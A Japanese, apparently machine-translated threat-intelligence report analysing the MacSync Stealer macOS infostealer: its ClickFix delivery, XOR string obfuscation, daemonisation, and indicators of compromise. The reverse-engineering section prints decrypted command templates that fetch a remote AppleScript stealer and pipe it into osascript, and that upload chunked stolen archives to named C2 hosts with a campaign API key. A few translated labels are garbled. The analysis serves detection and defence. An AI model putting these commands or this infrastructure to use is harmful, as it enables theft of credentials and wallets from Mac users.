エグゼクティブサマリー
MacSync Stealerは、検出を回避するように設計されたmacOSの情報窃盗およびリモートアクセスステージングマルウェアのファミリーであり、マルウェア・アズ・ア・サービス(MaaS)モデルの下で商用販売されている。
攻撃チェーンにおいて、MacSyncバイナリはネイティブなステージングツールであり、複数パートからなる情報漏洩エンジンです。ペイロードはスタンドアロンのハーベスターではなく、軽量な64ビットMach-O実行ファイルであり、ターミナルセッションから静かに分離し、認証情報ダンプモジュールを直接メモリにロードし、盗まれた認証情報を確実にキャンペーンインフラストラクチャに漏洩させます。
MacSyncは主に以下の方法で配信されます ClickFix ソーシャルエンジニアリングと検索エンジンの悪質な広告。Apple Gatekeeper、XProtect、および endpoint detection and response (EDR) ディスク上の負荷を最小限に抑えつつ、ツールを提供する。
- ステルスセッションデーモン化: MacSyncは実行時に、POSIXのfork()およびsetsid()システムコールを使用して制御端末セッションから切り離されます。そして、PID 1(launchd)に親プロセスを変更し、標準入力、標準出力、および標準エラー出力を/dev/nullにリダイレクトすることで、エラーメッセージやプロセス出力がコンソールに表示されないようにします。
- テンプレートベースのシングルバイトXOR難読化: 静的署名と自動文字列抽出を回避するため、MacSync バイナリは、インライン化された C++ テンプレートクラス (ObfuscatedString) を使用して、機能文字列 (C2 エンドポイント、コマンドライン引数、API ヘッダー、一時ファイルパスなど) を隠蔽します。実行時には、バイナリはこれらの文字列をシングルバイトXORを使用してローカルスタックバッファに復号します。
- インメモリ動的AppleScriptパイプライン: ステージャーは、認証情報ダンプスクリプトをディスクに書き込むことを回避します。代わりに、カスタムヘッダー(api-key:やキャンペーントークンなど)を使用してHTTPS経由でC2サーバーに接続し、応答をstdin経由で/usr/bin/osascriptに直接パイプします。これにより、攻撃者はクライアントバイナリを再コンパイルすることなく、サーバー側でスティーラーペイロードを更新できます。
- 10MBの耐障害性チャンクデータ漏洩: MacSyncは、盗まれた大容量アーカイブ(ブラウザの保管庫、システムキーチェーン、暗号通貨ウォレットのデータベースなどを含む)を転送するために、ファイルを10MBずつに分割します。そして、ネイティブのddユーティリティを使用して各スライスを抽出し、HTTP PUTリクエストを介して順次アップロードします。転送が失敗した場合は、指数バックオフを使用して再試行します。
- 自己洗浄型アンチフォレンジック: ステージングツールは、ディスク上の一時ファイルを速やかにクリーンアップします。C2サーバーがチャンクアップロードを確認するHTTP 200応答を返すとすぐに、マルウェアはローカルステータスファイル(/tmp/.httpcode)とステージングされたアーカイブ(/tmp/osalogging.zip)を削除します。
脅威アクターの発生源とマルウェア・アズ・ア・サービス(MaaS)エコシステム
MacSyncは2025年に出現し、公開された報道では、以前のMac.C Stealerや開発者の身元「Mentalpositive」と関連付けられている。 Threat intelligenceはMacSyncをマルウェア・アズ・ア・サービス(MaaS)として追跡しており、他のサイバー犯罪者にマルウェアとそれを支えるインフラを提供しているとしている。
証拠は、マルウェア開発とキャンペーン活動の間に明確な分離が存在することを示している。MacSyncビルドには展開固有の識別子が含まれることが多い一方、キャンペーンは独立して管理される配信設定とローテーションするバックエンドインフラストラクチャに依存している。CISはアフィリエイトビルドに関連付けられたs3ビルドタグを特定し、その後Microsoftは繰り返し出現するURIパス、リクエスト特性、APIキーヘッダー、およびデータ漏洩挙動に基づいて30以上のドメインを関連付けた。
MacSyncの配布は、ソフトウェアの脆弱性を悪用するのではなく、主にソーシャルエンジニアリングに依存しています。このキャンペーンでは、悪質な広告、SEOポイズニング、侵害されたウェブサイト、偽のソフトウェアやAIインストーラー、そして被害者を騙してターミナルでコマンドを実行させるClickFixページなどを通じてマルウェアを拡散します。
公開されている調査では、MacSyncのサンプルの一部にロシア語で開発された痕跡が確認されているものの、これらの特徴だけでは、マルウェアを特定の攻撃者や犯罪組織に結びつけるには不十分である。
関連インフラストラクチャは、ドメインのローテーションに関係なく適用可能な特定の動作パターンに従います。MacSync サンプルとローダーによって示される動作には、/dynamic?txd= への C2 リクエストが含まれます。ヘッダーにAPIキーが設定され、/gate?buildtxd=経由でアップロードする前にローカルでデータ収集が行われます。 upload_id、chunk_index、およびtotal_chunksパラメータを使用します。
関連キャンペーン:ClickFix配信
MacSyncは、 macOSユーザーを標的としたClickFixキャンペーンを通じて頻繁に拡散されています。これらの攻撃は、ソフトウェアの脆弱性を悪用するのではなく、ソーシャルエンジニアリングの手法を用いて、ソフトウェアインストーラー、CAPTCHA認証、ダウンロードエラー、トラブルシューティングのプロンプトなどを装い、被害者を騙してターミナルでコマンドをコピーして実行させます。
公開されている報告書では、誘い文句、配信設定、ペイロードが変化する複数のMacSync ClickFixキャンペーンについて説明されているが、現在のところ、それらすべてが同一の脅威アクターによるものであること、あるいはMacSyncのインフラストラクチャがClearFakeの直接の傘下で動作していることを示す証拠はない。
ClearFake / トラフィック配信ネットワーク(TDS)
アフィリエイトは、Keitaro TDSなどのトラフィック配信システム(TDS)を、侵害されたウェブサイトや広告ネットワーク全体に展開し、訪問者のオペレーティングシステムに基づいてルーティングします。TDSはブラウザのUser-Agentをチェックすることで、Windowsの訪問者をLummaC2、Stealc、またはVidarを配信するチェーンにリダイレクトし、macOSの訪問者をMacSync ClickFixの感染ファネルに送ります。
ソーシャルエンジニアリングによる誘い込みとブランドなりすまし
MacSyncキャンペーンは、人気のある生産性向上ツール、メッセージングツール、ソフトウェア開発ツールになりすまし、専門家をターゲットにしている。
| なりすましブランド/テーマ | 欺瞞的な誘い込みシナリオ | ターゲット層 |
| Google Meet / Zoom | 「マイク/オーディオエラー:[修復]をクリックしてmacOSオーディオドライバーを修復してください。」 | 企業のリモートワーカー、面接詐欺の被害に遭う求職者 |
| クロードAI / ChatGPT | 「macOS 用 Claude AI Desktop をダウンロード / WebSockets 接続を修正する」 | ソフトウェアエンジニア、AI研究者、データサイエンティスト |
| クラウドフレア / ターンスタイル | 「あなたが人間であることを確認してください。ターミナルを開いて、認証コードを貼り付けてください。」 | 一般的なウェブトラフィック、仮想通貨トレーダー、フォーラムユーザー |
| ドッカー / ノーション / カーソル | 偽のネイティブデスクトップインストーラーを提供する、悪質なGoogle検索広告 | ソフトウェア開発者、DevOpsエンジニア、テクニカルリード |
| TradingView / 暗号通貨アプリ | 「リアルタイムの市場データを表示するには、チャートエンジンをアップデートしてください。」 | 富裕層の仮想通貨トレーダー、DeFi投資家 |
グローバル地理情報テレメトリと業界への影響
地理情報テレメトリ
Threat intel法執行機関の報告によると、MacSyncキャンペーンは主にmacOSの企業利用が広く普及している地域、テクノロジーおよびソフトウェア開発分野、そして活発な暗号通貨またはWeb3コミュニティを標的としている。2026年8月のテレメトリによると、検出件数が最も多かったのは米国で、次いで英国、ドイツ、日本、カナダ、フランス、シンガポール、オーストラリア、インド、オランダおよび北欧諸国となっている。

対象産業分野
| お申込み | 主な対象役割 | 価値の高い資産 | 脅威ベクトル/誘い込み | 運用上の影響 |
| ソフトウェアエンジニアリングとテクノロジー系スタートアップ | フルスタック開発者、DevOpsエンジニア、AI研究者 | SSH秘密鍵、AWS/GCPトークン、GitHub/GitLab認証情報、.envファイル | Claude AI、Cursor IDE、Docker Desktop、Notionを装った悪質な広告 | クラウド乗っ取り、ソースコード窃盗、サプライチェーン侵害 |
| 暗号通貨とWeb3 | ブロックチェーン開発者、DeFiトレーダー、DAOメンバー、ファンドマネージャー | MetaMask、Phantom、Coinbase、TronLinkの保管庫データ、Exodus/Electrumウォレットファイル | 偽のWeb3会議リンク、TradingViewアップデートの誘い文句 | ウォレットからの資金流出、不正なトークン送金、スマートコントラクトキーの盗難 |
| 企業のリモートワーク体制 | 経営幹部、人事、営業・マーケティング | macOSキーチェーンデータ、Slack/Discordトークン、Google Workspace/Oktaセッション | Google Meet/Zoomのマイクやカメラの不具合を修正する | 個人情報の乗っ取り、セッションクッキーの悪用、内部ネットワークのピボット |
| 政府および防衛請負業者 | SLTTの職員および契約業者 | 政府ポータル認証情報、VPNプロファイル、従業員認証情報 | 検索エンジンの悪質な広告、侵害された自治体ウェブサイト | 許可されていない自治体へのアクセス、機密性の高い市民データの漏洩 |
| フィンテックと金融サービス | 金融アナリスト、クオンツトレーダー、会計士 | 銀行セッショントークン、会計認証情報、決済カードデータ | 偽の請求書ビューア、PDFレンダリングの「修正」 | 金融詐欺、不正な企業間送金 |
MacSync攻撃チェーン

- 初期感染(ClickFixトリック): マルウェア作成者は、被害者がソフトウェアを検索する検索エンジン上でマルバタイジングを利用します。被害者は悪意のあるウェブページ(偽のウェブページなど)に誘導されます。 クロード・アイ チャットボット、 Appleのセキュリティアップデート, 暗号通貨ウォレットインストーラー) は、被害者にターミナルウィンドウでコマンド (curl -s … | zsh) を実行するように求めるエラー メッセージを表示します。
- ステージ1(シェルラッパースクリプト): 悪意のあるスクリプトはターミナル環境で実行され、すぐにバックグラウンドプロセスを起動します。
- ステージ2(Base64ペイロード): ラッパースクリプトは、ネイティブのMach-Oバイナリステージャーを実行するバックグラウンドペイロード(daemon_function)を解凍します(私たちのサンプル: com.utils.Launcher)
- ステージ3(動的AppleScript窃盗犯): バイナリはカスタムヘッダー(api-key: de62a2f4…)を使用してC2サーバー上の/dynamic?txd=…にクエリを実行し、それを直接osascriptにパイプします。AppleScriptはユーザーのシステムパスワードを要求し、すべてのキーチェーンデータを盗み、データベース、セッションCookie、SSHキー、Telegramセッション、および暗号通貨ウォレットをダンプします。 /tmp/osalogging.zip.
- ステージ4(持続性のあるRAT): ペイロードは、自身をcom.google.keystone.plistまたはcom.apple.sync.plistに名前変更することで、~/Library/LaunchAgents/ディレクトリを使用して永続化する別のMach-O RATを実行します。
- ステージ5(TCCヘルパー): アドホック署名ヘルパープログラムを使用して、以下の権限を要求および取得します。 macOSの画面録画.
- ステージ6(遺物の除去と撤去): この Mach-O プログラムは /tmp/osalogging.zip の存在を検出し、それをチャンクに分割します。 10 MB (0xA00000バイト)ddを使用して、HTTP PUTを使用してデータを/に送信しますゲート?buildtxd=…、削除します /tmp/osalogging.zip (NAIST) と /tmp/.httpcode.
バイナリ実行フロー
下の図は、MacSyncステージャーバイナリの完全なランタイムライフサイクルを、最初の実行から最終的なアーティファクトのクリーンアップまでマッピングしたものです。

ファイル識別情報と静的メタデータ

静的ファイルのプロパティ
| 属性 | 静的値 | Notes |
| ファイル名 | 9ff32f7c0108e9d27a3b491edf04827b6ca025f44db68aeadc44eeb97c9aab11 | SHA-256ハッシュ命名 |
| ファイル形式 | Mach-O 64ビット x86_64実行ファイル | シンバイナリ(シングルアーキテクチャ) |
| マッハ・マジック | 0xFEEDFACF (MH_MAGIC_64) | 64ビットMach-Oヘッダー |
| CPUの種類/サブタイプ | CPU_TYPE_X86_64 (0x01000007) / ALL (0x00000003) | インテル64ビットアーキテクチャ |
| ファイルサイズ | 38,800バイト | 0x9790バイト |
| MD5 | 9678f71ea4cccbc3d511dc8d7f24b113 | 暗号ハッシュ |
| SHA-1 | 59508d071661ea70fa5fcbe6f9e2fb72506e57df | 暗号ハッシュ |
| SHA-256 | 9ff32f7c0108e9d27a3b491edf04827b6ca025f44db68aeadc44eeb97c9aab11 | プライマリーサンプルハッシュ |
| コンパイルフラグ | PIE、TWOLEVEL、BINDS_TO_WEAK、WEAK_DEFINES、NOUNDEFS | ポジション独立実行可能 |
| 入口住所 | 0x100000e30 (_main) | セクション __TEXT.__text |
コード署名の詳細

| 属性 | 値 | Notes |
| 署名ステータス | アドホック署名 (フラグ=0x2(adhoc)) | Apple発行の開発者ID署名なし |
| 署名識別子 | com.utils.Launcher | 埋め込みコード署名識別子 |
| CDHash | d182eb7cba0ffa42d770d7b0d3499e49f24163a2 | コードディレクトリハッシュ |
| CMSダイジェスト | d182eb7cba0ffa42d770d7b0d3499e49f24163a2662494ae615713c5f04b5260 | コード署名ダイジェスト |
| チーム識別子 | 設定されていません | Apple開発者チームIDなし。アドホック署名であることを示す。 |
文字列難読化と鍵復元
暗号エンジンのリバースエンジニアリング
ベアバイナリに対して実行された静的文字列解析では、URL、ファイルパス、コマンド参照は平文では検出されませんでした。_mainへの参照から、C ++テンプレートクラスへの参照が19件見つかりました。
| 属性 | 値 |
| 歪んだシンボル | __ZNK16難読化された文字列ILm…EE7decryptEv |
| 破壊されたシンボル | 難読化された文字列::decrypt() const |
| アドレス範囲 | 0x100002350 – 0x100002740 |

単一バイトのXORキーが特定されました: 0xAA (10進数: 170、2進数: 10101010)。

事前に平文を知らなくても暗号化されたすべてのバイト列を復号化するために、以下のスタンドアロン スクリプトが実行されます。

復号プログラムの出力

XOR文字列復号化とストレージレイアウト
ハードウェアXOR演算(/tmp/.httpcode)
以下の表は、ステータスファイルパス0x100002a2eに対してCPUレジスタecx(xor ecx、0xaa)内で実際に行われている操作を示しています。
| バイト# | 暗号化された16進数 | XORキー | 復号化された16進数 | 人格 |
| 0 | 0x85 | 0xAA | 0x2F | / |
| 1 | 0xDE | 0xAA | 0x74 | t |
| 2 | 0xC7 | 0xAA | 0x6D | m |
| 3 | 0xDA | 0xAA | 0x70 | p |
| 4 | 0x85 | 0xAA | 0x2F | / |
| 5 | 0x84 | 0xAA | 0x2E | . |
| 6 | 0xC2 | 0xAA | 0x68 | h |
| 7 | 0xDE | 0xAA | 0x74 | t |
| 8 | 0xDE | 0xAA | 0x74 | t |
| 9 | 0xDA | 0xAA | 0x70 | p |
| 10 | 0xC9 | 0xAA | 0x63 | c |
| 11 | 0xC5 | 0xAA | 0x6F | o |
| 12 | 0xCE | 0xAA | 0x64 | d |
| 13 | 0xCF | 0xAA | 0x65 | e |
| 14 | 0xAA | 0xAA | 0x00 | \0 |
パス /tmp/osalogging.zip は、スタックリテラルと XOR 復号によって構築されます。
リバースエンジニアリング_メイン – メモリレイアウトとデーモン化
URL構築/エンドポイント準備 このサンプルでは、URLに関連する複数の文字列フラグメント(例:https、http、asia.、usa.)をローカルスタック変数にロードします。次に、文字列を構築するための128バイトのローカルバッファを割り当てます。地域ドメインフラグメントとHTTP(S)スキームが存在するため、ネットワークエンドポイントは実行時に構築または選択され、静的解析で完全なURLが把握しにくくなります。

プロセスのデーモン化とストリームの隠蔽 (0x100000e30 – 0x100000f54)

- _Fork() 実行 (0x100000e69): 親プロセスは 0 を返して正常に終了しました。すぐに終了し、制御を端末に戻します。この時点で、子プロセスは PID 1 で実行される launchd に再親付けられます。
- _Setsid() セッション作成 (0x100000eb7): 子プロセスが制御端末から分離します。この手順により、プロセスがどのセッションにも縛られていないことが保証されます。
- ストリーム抑制 (0x100000efe – 0x100000f48): 子プロセスは、入力、標準出力、標準エラーを /dev/null にリダイレクトします。これは、_freopen() を 3 回呼び出すことによって行われます。各呼び出しは、いずれかのストリームを処理し、出力または入力アクティビティを効果的に抑制します。
リバースエンジニアリング_main – 動的なC2ポーリングとインメモリAppleScript
Raw Binary Ninjaによる高レベルIL逆コンパイル(0x100001070~0x100001300)

- アセンブリ言語の0xc8は10進数で200(HTTP 200 OK)です。
- sub_100001e20() には復号化されたコマンド テンプレートが含まれています: curl -k -s –max-time 12 -H “User-Agent: %s” -H “api-key: %s” “%s” | osascript。
- AppleScriptは、中間スクリプトファイルを介さずにcurlからosascriptに直接ストリーミングされ、標準入力を介してcurlからAppleの/usr/bin/osascriptバイナリに直接パイプされます。
静的構成属性:
| 属性 | 値 |
| キャンペーントークン(txd) | c4f70f37daae63fe47b0c92adf006f8cf50b6c522ad572a4014275cf979013a0 |
| ゲート認証トークン | api-key: de62a2f47d1c7dec2997f931a050a615 |
| 主要宿主 | drivinguber.com |
| フォールバックホスト | newsinweb.com |
| 地域接頭辞 | アジア / アメリカ |
実行パイプラインワークフロー
- プライマリーヘルスプローブ(drivinguber.com):

- ステータス評価: _fscanf(“%d”, &code) を介して /tmp/.httpcode を読み込み、/tmp/.httpcode のリンクを解除します。
- インメモリパイプ実行 (0x10000128e): コードが200(0xC8)の場合、フォーマットして実行します。

- フォールバックローテーション: プライマリが失敗した場合、newsinweb.com をベースに、[https、http] [asia.、usa.] を順に処理します。
10MBチャンキングエンジンとSystem V ABI

- ターゲット検証: _stat$INODE64(“/tmp/osalogging.zip” &stat_buf) を呼び出します。ファイルが存在しない場合、またはサイズがゼロの場合は、正常に終了します (戻り値 0)。
- 整数の上限除算の計算:合計チャンク数は、(ファイルサイズ+0x9FFFFF÷0xA00000)の小数点以下を切り捨てた値に等しくなります(固定チャンクサイズは0xA00000で、これは10,485,760バイトまたは10MBです)。
- セッション識別子: snprintf(upload_id, 0x40 “%ld-%08x” time(NULL) rand()) を使用して作成されました。
適応型バックオフ再試行アルゴリズム

適応型バックオフによる最大8回の再試行:遅延時間 = (再試行インデックス × 2) + 3秒 (5秒、7秒、9秒、11秒、13秒、15秒、17秒、19秒)
_system() を介して実行されるシェルコマンド
| # | 操作 | 復号化されたフォーマットテンプレート | 目的 |
| 1 | C2ヘルスプローブ | curl -k -s –max-time 12 -H “User-Agent: %s” -H “api-key: %s” “%s” -o /dev/null -w “%%{http_code}” > %s 2>/dev/null | C2の可用性を確認し、HTTPステータスコードを/tmp/.httpcodeに保存します。 |
| 2 | ステージ3 インメモリステージャー | curl -k -s –max-time 12 -H “User-Agent: %s” -H “api-key: %s” “%s” | osascript | リモートのAppleScript窃盗ツールをダウンロードし、osascriptを介して実行します。 |
| 3 | ステージ6 塊状体外排出 | dd if=%s bs=1 skip=%ld count=%ld 2>/dev/null | curl -k -s -X PUT –data-binary @- … | /tmp/osalogging.zip を 10 MB のチャンクに分割し、各チャンクを HTTP PUT 経由でアップロードします。 |
ネイティブPOSIXプロセスおよびファイル操作
| # | 操作タイプ | ネイティブAPI呼び出し | ターゲット | 運用目的 |
| 6 | プロセスフォーク | _フォーク() | 無し | 親プロセスは端末から切り離されるために直ちに終了します。 |
| 7 | セッションデタッチ | _setsid() | 無し | 新しいデタッチドセッションを作成します。子プロセスは独立したデーモンになります。 |
| 8 | ストリームクローキング | _freopen(“/dev/null”, “r”, *___stdinp) | / dev / null | 標準入力をミュートします。 |
| 9 | ストリームクローキング | _freopen(“/dev/null”, “w”, *___stdoutp) | / dev / null | curlとosascriptの標準出力を抑制します。 |
| 10 | ストリームクローキング | _freopen(“/dev/null”, “w”, *___stderrp) | / dev / null | 標準エラー出力を抑制し、端末アラートの発生を防ぎます。 |
| 11 | ファイルの検証 | _stat$INODE64(“/tmp/osalogging.zip”, &stat_buf) | /tmp/osalogging.zip | アップロード前に、収集したデータアーカイブの存在とサイズを確認します。 |
| 12 | ステータスのクリーンアップ | _unlink(“/tmp/.httpcode”) | /tmp/.httpcode | 評価後、一時的なHTTPステータスコードファイルを削除します。 |
| 13 | 戦利品アーカイブの整理 | _remove(“/tmp/osalogging.zip”) | /tmp/osalogging.zip | データの持ち出しが成功した後、盗まれたデータのZIPアーカイブを削除します。 |
侵害の兆候(IOC)
ホスト指標
| インジケータータイプ | 値 | 詳細説明 |
| SHA-256ハッシュ | 9ff32f7c0108e9d27a3b491edf04827b6ca025f44db68aeadc44eeb97c9aab11 | ネイティブ Mach-O ステージャーバイナリ |
| MD5ハッシュ | 9678f71ea4cccbc3d511dc8d7f24b113 | ネイティブ Mach-O ステージャーバイナリ |
| SHA-1ハッシュ | 59508d071661ea70fa5fcbe6f9e2fb72506e57df | ネイティブ Mach-O ステージャーバイナリ |
| コード署名ID | com.utils.Launcher | アドホック署名バンドル識別子 |
| CDHash | d182eb7cba0ffa42d770d7b0d3499e49f24163a2 | コードディレクトリハッシュ |
| 演出されたアーカイブ | /tmp/osalogging.zip | 盗まれたデータを含むハーベストアーカイブ |
| ステータスファイル | /tmp/.httpcode | 一時的なHTTPレスポンスコードファイル |
ネットワークインジケータ
| インジケータータイプ | 値 | 詳細説明 |
| C2ドメイン(プライマリ) | drivinguber.com | プライマリーステージ3 / ステージ6 C2サーバー |
| C2ドメイン(フォールバック) | asia.newsinweb.com | フォールバック アジア地域 C2 エンドポイント |
| C2ドメイン(フォールバック) | usa.newsinweb.com | フォールバック 米国リージョン C2 エンドポイント |
| C2ルートドメイン | newsinweb.com | フォールバックルートドメイン |
| URI(ダウンロード) | /dynamic?txd=c4f70f37daae63fe47b0c92adf006f8cf50b6c522ad572a4014275cf979013a0 | 動的AppleScriptペイロードゲート |
| URI(アップロード) | /gate?buildtxd=c4f70f37daae63fe47b0c92adf006f8cf50b6c522ad572a4014275cf979013a0 | 10 MB チャンクバイナリ PUT アップロード ゲート |
| HTTPリクエストヘッダー | api-key: de62a2f47d1c7dec2997f931a050a615 | キャンペーン認証トークン |
| HTTPユーザーエージェント | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36 | 偽装されたクライアントのユーザーエージェント |
MITRE ATT&CK マッピング
| 戦略 | テクニックID | 技術 | MacSyncの実装 |
| 初期アクセス | T1204.002 | ユーザーの実行 | ClickFixの罠は、ユーザーを騙して難読化されたターミナルコマンドを実行させる。 |
| 実行 | T1059.002 | AppleScript | /usr/bin/osascript を介してリモートの AppleScript ペイロードを実行します。 |
| 実行 | T1059.004 | Unixシェル | /bin/sh コマンドを実行します。 |
| 固執 | T1543.001 | 起動エージェント | ~/Library/LaunchAgents/ に悪意のある .plist をインストールします。 |
| 防衛回避 | T1027 | 難読化 | XOR 0xAAは文字列とURLを隠蔽します。 |
| 防衛回避 | T1564.001 | 隠しファイル | 一時データにはドットで始まるファイルを使用します。 |
| 防衛回避 | T1070.004 | ファイルの削除 | データアップロード後に一時ファイルを削除します。 |
| 防衛回避 | T1036.005 | 仮装 | com.utils.Launcher を使用して、正規のコンポーネントのように見せかけます。 |
| 防衛回避 | T1562.001 | 防御を弱める | 標準入力、標準出力、および標準エラー出力を /dev/null にリダイレクトします。 |
| クレデンシャルアクセス | T1555.001 | キーホルダー | セキュリティダンプキーチェーンを使用して、保存されている認証情報にアクセスします。 |
| クレデンシャルアクセス | T1539 | ウェブセッションクッキー | ブラウザのCookieデータベースを標的としてセッションを盗み出す。 |
| クレデンシャルアクセス | T1552.004 | 秘密鍵 | SSHキーとAWS認証情報を収集します。 |
| プーケットの魅力 | T1082 | システム情報 | macOSのバージョン、ハードウェアUUID、およびCPUアーキテクチャを収集します。 |
| 収集 | T1560.001 | 収集したデータのアーカイブ | 盗まれたデータを/tmp/osalogging.zipにアーカイブします。 |
| コマンド&コントロール | T1071.001 | ウェブプロトコル | HTTPS/443経由でC2と通信します。 |
| コマンド&コントロール | T1105 | 入力ツール転送 | 第2段階のAppleScriptモジュールをダウンロードします。 |
| exfiltration | T1030 | データ転送サイズの制限 | アーカイブを10MBずつのチャンクに分割します。 |
| exfiltration | T1048.003 | 代替プロトコル | HTTP PUTリクエストを介してバイナリチャンクをアップロードします。 |
著者:



